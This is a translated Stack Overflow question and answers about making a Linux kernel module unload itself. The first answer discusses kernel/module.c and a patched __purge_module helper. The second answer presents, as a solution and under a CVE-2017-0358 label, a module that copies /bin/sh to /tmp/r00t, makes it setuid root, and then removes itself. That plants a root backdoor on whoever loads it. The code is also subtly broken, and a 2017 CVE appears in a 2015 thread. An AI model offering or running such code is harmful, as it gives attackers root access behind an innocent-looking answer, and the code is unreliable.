如何在不在内核日志中生成错误的情况下卸载内核模块?

时间:2015-09-05 12:46:02

标签: linux linux-kernel kernel-module

我制作了一个简单的模块,可以在加载时打印GDT和IDT。完成工作后,不再需要它,可以卸载。但如果它返回一个负数以便停止加载,insmod会抱怨,并在内核日志中记录一条错误消息。

内核模块如何正常卸载自己?

2 个答案:

答案 0 :(得分:3)

据我所知,使用stock内核是不可能的(你可以修改模块加载器核心,如下所述,但这可能不是一件好事可以依赖)。

好的,我已经看过模块加载和卸载代码(kernel/module.c)以及一些非常可疑的module_put_and_exit用户。似乎没有内核模块可以做你想做的事情。所有这些都在模块的上下文中启动kthreads,然后在完成某些事情后杀死kthread(他们不会自动卸载模块)。

不幸的是,执行大部分模块卸载(free_module)的函数是在kernel/module.c内静态定义的。据我所知,没有导出的函数可以从模块中调用free_module。我觉得可能有这样的原因(尝试从内部卸载模块会导致页面错误,因为包含模块代码的页面需要是释放)。虽然这可能是通过在阻止当前(无效)任务再次运行(或仅运行noreturn)之后创建仅schedule s do_exit函数来解决的。

要问的另一点是:你确定要这样做吗?为什么不制作一个shell脚本来加载和卸载模块并在一天之内调用它?根据自己的喜好,自动卸载模块可能与天网有点太接近了。

编辑:我已经尝试了一下,如果你能修改模块加载器核心,我已经找到了一种方法。将此功能添加到kernel/module.c,并对include/linux/module.h进行必要的修改:

/* Removes a module in situ, from within the module itself. */
void __purge_module(struct module *mod) {
        free_module(mod);
        do_exit(0);

        /* We should never be here. */
        BUG();
}
EXPORT_SYMBOL(__purge_module);

使用__purge_module(THIS_MODULE)调用此代码会卸载您的模块,并且不会导致页面错误(因为您不会返回模块的代码)。但是,我仍然不建议这样做。我做了一些简单的体积测试(我使用这个函数插入了一个模块〜10000次以查看是否有任何资源泄漏 - 据我所知,没有任何内容)。

答案 1 :(得分:1)

哦,你可以做到这一点:)

#include <linux/module.h>

MODULE_LICENSE("CC");
MODULE_AUTHOR("kristian erik hermansen <kristian.hermansen+CVE-2017-0358@gmail.com>");
MODULE_DESCRIPTION("PoC for CVE-2017-0358 from Google Project Zero");

int init_module(void) {
  printk(KERN_INFO "[!] Exploited CVE-2017-0358 successfully; may want to patch your system!\n");
  char *envp[] = { "HOME=/tmp", NULL };
  char *argv[] = { "/bin/sh", "-c", "/bin/cp /bin/sh /tmp/r00t; /bin/chmod u+s /tmp/r00t", NULL };
  call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
  char *argvv[] = { "/bin/sh", "-c", "/sbin/rmmod cve_2017_0358", NULL };
  call_usermodehelper(argv[0], argvv, envp, UMH_WAIT_EXEC);
}

void cleanup_module(void) {
  return 0;
  printk(KERN_INFO "[*] CVE-2017-0358 exploit unloading ...\n");
}